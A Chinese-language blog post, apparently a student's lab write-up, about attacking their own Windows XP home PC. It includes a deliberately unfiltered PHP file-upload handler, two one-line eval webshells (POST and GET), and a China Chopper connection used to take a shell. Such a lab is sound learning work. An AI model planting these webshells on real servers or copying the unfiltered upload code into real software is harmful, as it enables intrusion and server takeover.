0%

渗透测试实战--家用电脑

前言

​ 因为疫情的影响导致现在还没有开学,在家里呆的有些无聊,最近也在学习渗透方面的知识,但是关于渗透测试,纸上得来终觉浅,绝知此事要躬行,还是要得累计实战经验,所以我就把目标转向了我家的家用台式电脑,就想把之前学习理解到的简单实现一下。

靶机环境

​ 家用电脑比较老旧,是在我上初中的时候买的,甚至系统还是Windows xp,属于可以进博物馆的古董机,没办法,有靶机已经不错了,无论是虚拟机还是网上的靶场都感觉不得劲,还是物理机有搞头。

​ 我开始的时候是想用IIS建站的,但是中间有很多坑,这不算什么,一杯茶一包烟,一改配置坐一天,就当我觉得环境搭建成功的时候,我又发现了新的坑,一个是没有php环境,而且IIS支持asp,这也不算什么,但是又发现,开始的时候可以访问的资源莫名其妙的都无权访问了,网页报401,草(一种植物),在尝试了网上很多方法了之后,我哭了,我放弃了,xp下的IIS服务的权限设置我搞不懂,还是我太弱了,我真是个垃圾(猛男哭泣)。

​ 我屈服了,我使用了phpstudy的傻瓜式操作建站,只能说真香,它是如此的便捷,如此的丝滑,我又一次哭了。

31dxbR.png

还是觉得老版本的phpstudy好用,关于phpstudy的安装和使用就不多说了,直接进入正题。

首先,测试一下,查看一下靶机IP

31SMLT.png

发现是192.168.0.122

在本机上测试ping一下

31p9h9.png

可以连上,在浏览器中查看

31wssJ.png

没问题,环境搭建好了,现在开始测试

建站

先给靶机配上编辑器,要不用记事本写太变态了。这里我用的notepad++。

这里我准备用上文件上传漏洞来上传一个webshell,用到菜刀连接获取靶机的权限。

所以在靶机中写上一个具有文件上传功能的网页:

31HMF0.png

这里的HTML代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<head>
<title>文件上传测试</title>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
</head>
<body>
<h1>请上传一个文件</h1>
<br>
<form action="upload_file.php" method="POST" enctype="multipart/form-data">
<label for="file">filename:</label>
<input type="file" name="file" id="file"/>
<br>
<br>
<input type="submit" name="submit" value="submit">
</form>
</body>
</html>

php代码为:

1
2
3
4
5
6
7
8
9
10
11
<?php
if ($_FILES["file"]["error"] > 0) {
echo "error:".$_FILES["file"]["error"]."<br>";
} else {
echo "upload:".$_FILES["file"]["name"]."<br>";
echo "type:".$_FILES["file"]["type"]."<br>";
echo "size:".($_FILES["file"]["size"] / 1024)."kb<br>";
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/".$_FILES["file"]["name"]);
echo "stored in:"."upload/".$_FILES["file"]["name"];
}
?>

从php代码中可以看到没有对上传文件做任何的过滤,当然现实中这种是极少的,只有在靶机中才会出现。

我这里上传了两个php文件,都是一句话木马,只是数据上传方式不同而已,一个是post,一个是get

33FKKA.png

3fGQKK.png

1
2
3
<?php
@eval($_POST['cmd']);
?>
1
2
3
<?php
@eval($_GET['cmd']);
?>

@的作用是用来不显示报错的

31b5U1.png

这个是get类型的一句话木马

33i9Tf.png

这个是post类型的一句话木马(图中用的是chrome的hackbar插件)

这样就将一个webshell上传到了服务器了,我们用中国菜刀连接获得权限:

33Ah4K.png

连接到了就拿取了靶机的shell

33AXUP.png

我们可以在靶机桌面上新建一个文件,写一句话

33ZNBd.png

33VT0A.png

这样我们可以看到靶机的桌面上就有了一个文本文件,里面就包含了这句话

33ZI3T.png

后记

​ 这一次的渗透测试很简单,主要是尝试一些工具的使用和环境的配置以及网站的搭建(有点不成功的),也没有多少难度,最主要的是服务器后端php代码没有严格对上传文件的过滤检查,才是造成文件上传漏洞的成因,这一点是对网站搭建人员要注意和留心的,之后我会尝试写一些过滤方案,以及绕过的方法(因为没有绝对安全的系统)。